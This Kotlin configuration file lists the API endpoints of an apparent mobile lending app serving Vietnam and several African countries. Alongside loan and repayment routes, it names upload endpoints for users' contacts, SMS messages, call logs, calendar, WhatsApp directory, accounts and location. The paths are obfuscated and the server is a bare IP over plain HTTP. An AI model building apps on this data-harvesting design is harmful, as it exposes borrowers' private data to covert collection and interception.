package com.mofofa.maozy.network

object ApiUrl {
    /**
     * 域名服务器地址
     * https://www.maozy.info/maozyglobal
     */
    var BASE_URL = "http://110.238.79.79"

    /**
     * 域名转发
     */
    var BASE_PATH = ""

    /**
     * 全局配置
     */
    var ZONE_PATH = "/maozyzone"

    /**
     * 域名服务器地址-越南
     * https://www.maozy.info/maozyglobal
     */
    const val BASE_URL_VND = "http://110.238.79.79"

    /**
     * 域名服务器地址-非洲
     * https://www.maozy.info/maozyglobal
     */
    const val BASE_URL_AFRICA = "http://110.238.79.79"

    /**
     * 全局域名转发
     */
    const val GLOBAL_PATH = ""

    /**
     * 全局域名转发-加纳
     */
    const val GHA_PATH = "/maozygha"

    /**
     * 全局域名转发-乌干达
     */
    const val UGX_PATH = "/maozyugx"

    /**
     * 全局域名转发-科特
     */
    const val FCFA_PATH = "/maozyfcfa"

    /**
     * 全局域名转发-尼日
     */
    const val NGN_PATH = "/maozynaira"

    /**
     * 全局域名转发-肯尼亚
     */
    const val KSH_PATH = "/maozyksh"

    /**
     * 全局域名转发-越南
     */
    const val VND_PATH = "/maozyvnd"

    /**
     * 设备-应用列表
     */
    const val MAOZY_PATH_APPLIST = "/J3hSNHmVIzxumfIu9rYOlw"

    /**
     * 设备-联系人是否要上报
     */
    const val MAOZY_PATH_CONTACT_RESULT = "/aC3l8cgILQQqDknSzJOxMw"

    /**
     * 设备-联系人
     */
    const val MAOZY_PATH_CONTACT = "/ha7DKEiViJptQFaNkN94Q"

    /**
     * 设备-消息
     */
    const val MAOZY_PATH_MESSAGE = "/tZ6LWi7ZeVhlIrikGmdeAg"

    /**
     * 设备-设备信息
     */
    const val MAOZY_PATH_DEVICE = "/o7tnLkbtNFXZLyjD43BjKAA"

    /**
     * 设备-图片信息
     */
    const val MAOZY_PATH_IMAGE = "/obaA1nNZkIG7aUbUtuaAA"

    /**
     * 设备-电池信息
     */
    const val MAOZY_PATH_BATTERY = "/vqaLcAmnJswVACl5UBfguQ"

    /**
     * 设备-硬件信息
     */
    const val MAOZY_PATH_HARDWARE = "/o35s5TAImCkJqJ2rWXxtN9w"

    /**
     * 设备-存储信息
     */
    const val MAOZY_PATH_STORE = "/FrDcewAiv9ipfQDMYmBTg"

    /**
     * 设备-wifi信息
     */
    const val MAOZY_PATH_NETWORK = "/TkVWDTKOHdPk1HhhoN6IGg"

    /**
     * 设备-媒体信息
     */
    const val MAOZY_PATH_MEDIA = "/AiLj1E6m3U7A2HX4rPmLsA"

    /**
     * 设备-位置信息
     */
    const val MAOZY_PATH_LOCATION = "/R9uHRUF6cdP8WAZT4Y9Og"

    /**
     * 设备-calllog列表
     */
    const val MAOZY_PATH_CALLLOG = "/oTrAtRL0mOo5lErJJh3vRQ"

    /**
     * 设备-calendar列表
     */
    const val MAOZY_PATH_CALENDAR = "/o2dRjTJ4aMzeOYBgMw"

    /**
     * 设备-whatsapp目录列表
     */
    const val MAOZY_PATH_WHATSAPP_DIR = "/o0IgKw61zcSXNfhvmAlS3g"

    /**
     * 设备-setting account列表
     */
    const val MAOZY_PATH_SETTING_ACCOUNT = "/IlxVwhTL8YZZx4DViKpK7w"

    /**
     * 设备-aduid
     */
    const val MAOZY_PATH_ADUID = "/E82ZTFqYhRGZhWRjFXfQ8A"

    /**
     * 设备-打点
     */
    const val MAOZY_PATH_POINT_RECORD = "/SeTkZOCR5DKMOlrasA8qQA"

    /**
     * 设备-谷歌安装回传
     */
    const val MAOZY_PATH_GOOGLE_INSTALL = "/m1XhPOutfsnE66OJbobg"

    /**
     * 设备-AF 安装回传
     */
    const val MAOZY_PATH_APPSFLYER_INSTALL = "/cylMIFJI9PqH2jLdDuQ"

    /**
     * 设备-AF S2S回传
     */
    const val MAOZY_PATH_APPSFLYER_S2S = "/o7rWcIgY1l6Ev84TpBMxHw"

    /**
     * 设备-Firebase S2S回传
     */
    const val MAOZY_PATH_FIREBASE_S2S = "/ce4FSBpDmiDU85s0U9x7Q"

    /**
     * 设备-Facebook S2S回传
     */
    const val MAOZY_PATH_FACEBOOK_S2S = "/WFmPu9atBNK8dPwYcF73mA"

    /**
     * UsageStats s2s 回传
     */
    var MAOZY_PATH_USAGE_STATS_S2S = "/Nl3bQPMglzbNCim7LDoccA"

    /**
     * 系统-获取系统配置
     */
    const val MAOZY_PATH_APP_CONFIG = "/U8SI3vOabTSxRMJnywYVQ"

    /**
     * 系统-获取版本号
     */
    const val MAOZY_PATH_APP_VERSION = "/hKbHrVZijz7wtxEWuM0LLQ"

    /**
     * 登录-发送验证码
     */
    const val MAOZY_PATH_SEND_OTP = "/qU37s5OSk51qSAz8s5SZw"

    /**
     * 登录-验证码登录
     */
    const val MAOZY_PATH_OTP_LOGIN = "/DrM09V468g2sKRYgXGGVQ"

    /**
     * 用户-获取用户流程状态
     */
    const val MAOZY_PATH_USER_STATE = "/o42iq7tbNWHctcXZxGOhtPQ"

    /**
     * 用户-获取首页额度
     */
    const val MAOZY_PATH_HOME_LIMIT = "/tYhPZH1CcB5ICo2VyEnMg"

    /**
     * 用户-保存问题反馈
     */
    const val MAOZY_PATH_SAVE_FEEDBACK = "/abdfXN0rRxMJnH5QYg8NQ"

    /**
     * 用户-获取银行列表
     */
    const val MAOZY_PATH_BANK_LIST = "/t8SDcq8SID1ArVwIrsydRA"

    /**
     * 订单-获取放款中详情信息
     */
    const val MAOZY_PATH_LOANING_DETAIL = "/PCoNQXdYU9ssJ73UfhPZNg"

    /**
     * 订单-确认申请
     */
    const val MAOZY_PATH_LOAN_SUBMIT = "/KKuZBlAgZEbXb7y3TnLOvA"
    /**
     * 工具-启动评价流程
     */
    const val MAOZY_PATH_CHECK_APP_REVIEW = "/v1/fetchStarWindowConfig"

    /**
     * 还款-获取还款详情信息
     */
    const val MAOZY_PATH_REPAY_DETAIL = "/nCUHft7aUhoWsbm9ZnDfQ"

    /**
     * 还款-获取还款链接-越南
     */
    const val MAOZY_PATH_REPAY_URL_VND = "/tdxQm9bWkfPK8mZ6tyaRQA"

    /**
     * 还款-获取还款链接-加纳
     */
    const val MAOZY_PATH_REPAY_URL_GHA = "/tdxQm9bWkfPK8mZ6tyaRQA"

    /**
     * 还款-获取还款链接-科特
     */
    const val MAOZY_PATH_REPAY_URL_FCFA = "/tdxQm9bWkfPK8mZ6tyaRQA"

    /**
     * 还款-获取还款链接-乌干达
     */
    const val MAOZY_PATH_REPAY_URL_UGX = "/hxvAWFqEY3tFvK2gi8zMsg"

    /**
     * 还款-获取还款链接-肯尼亚
     */
    const val MAOZY_PATH_REPAY_URL_KSH = "/hxvAWFqEY3tFvK2gi8zMsg"

    /**
     * 还款-获取虚拟账号信息-尼日
     */
    const val MAOZY_PATH_CREATE_VIRTUAL_ACCOUNT = "/cB0B9tvy4KkDs1piE8vOg"

    /**
     * 还款-获取paystack sdk 初始化信息-尼日
     */
    const val MAOZY_PATH_INIT_PAYSTACK_SDK = "/o4fnr4ueZpjIiMNK90bzsQg"

    /**
     * 还款-获取paystack 卡列表-尼日
     */
    const val MAOZY_PATH_PAYSTACK_CARD_LIST = "/hPXFQn56LyUZOavoYXm8Q"

    /**
     * 绑卡-获取钱包列表-科特
     */
    const val MAOZY_PATH_WALLET_LIST_FCFA = "/IU7cC8V22mrh2ssFO2FX0g"

    /**
     * 绑卡-绑钱包-科特
     */
    const val MAOZY_PATH_BIND_WALLET_FCFA = "/wsHrEe1ytMl16oh4C9JkEQ"

    /**
     * 绑卡-删钱包-科特
     */
    const val MAOZY_PATH_DELETE_WALLET_FCFA = "/u8qeTdWSbt9nieZV327qxQ"

    /**
     * 绑卡-保存钱包认证状态-科特
     */
    const val MAOZY_PATH_SAVE_BVN_FCFA = "/eSPatnr9R6WW3x0O4TPgcQ"
    /**
     * 绑卡-获取钱包列表-科唛隆
     */
    const val MAOZY_PATH_WALLET_LIST_XAF = "/IU7cC8V22mrh2ssFO2FX0g"
    /**
     * 绑卡-绑钱包-科唛隆
     */
    const val MAOZY_PATH_BIND_WALLET_XAF = "/wsHrEe1ytMl16oh4C9JkEQ"
    /**
     * 绑卡-删钱包-科唛隆
     */
    const val MAOZY_PATH_DELETE_WALLET_XAF = "/u8qeTdWSbt9nieZV327qxQ"
    /**
     * 绑卡-保存钱包认证状态-科唛隆
     */
    const val MAOZY_PATH_SAVE_BVN_XAF = "/eSPatnr9R6WW3x0O4TPgcQ"
    /**
     * 认证-保存ocr信息-越南
     */
    const val MAOZY_PATH_SAVE_OCR_VND = "/eSPatnr9R6WW3x0O4TPgcQ"

    /**
     * 认证-开始liveness-越南
     */
    const val MAOZY_PATH_START_LIVENESS_VND = "/NeURskz6Mj67G2eNyjkvQ"

    /**
     * 认证-保存liveness信息-越南
     */
    const val MAOZY_PATH_SAVE_LIVENESS_VND = "/NeURskz6Mj67G2eNyjkvQ"

    /**
     * 认证-获取运营商认证链接-越南
     */
    const val MAOZY_PATH_START_SIM = "/o7diMhvEcmd2I1fZ9LrfaCA"

    /**
     * 认证-保存运营商认证-越南
     */
    const val MAOZY_PATH_SAVE_SIM = "/YrmS53XJR93sFQmC8j5JQ"

    /**
     * 工具-上传图片
     */
    const val MAOZY_PATH_UPLOAD_IMAGE = "/LbuxAILxakA5i2vIX600cw"

    /**
     * 工具-图片ocr
     */
    const val MAOZY_PATH_IMAGE_OCR = "/ePCjWSJ9rWzyyY0ZIaqUMg"


    /** 是否为有效的地区转发 */
    fun isMaozyValidMaozyCountryMaozyPath(): Boolean {
        return BASE_PATH.isNotBlank()
    }

    /** 根据地区来区分BASE_URL与BASE_PATH，主要针对越南地区 */
    fun updateMaozyApiMaozyUrlMaozyByMaozyCountryMaozyPath(path: String) {
        if (UGX_PATH.contains(path, true)) {
            BASE_PATH = UGX_PATH

        } else {
            BASE_PATH = FCFA_PATH
        }
    }
}
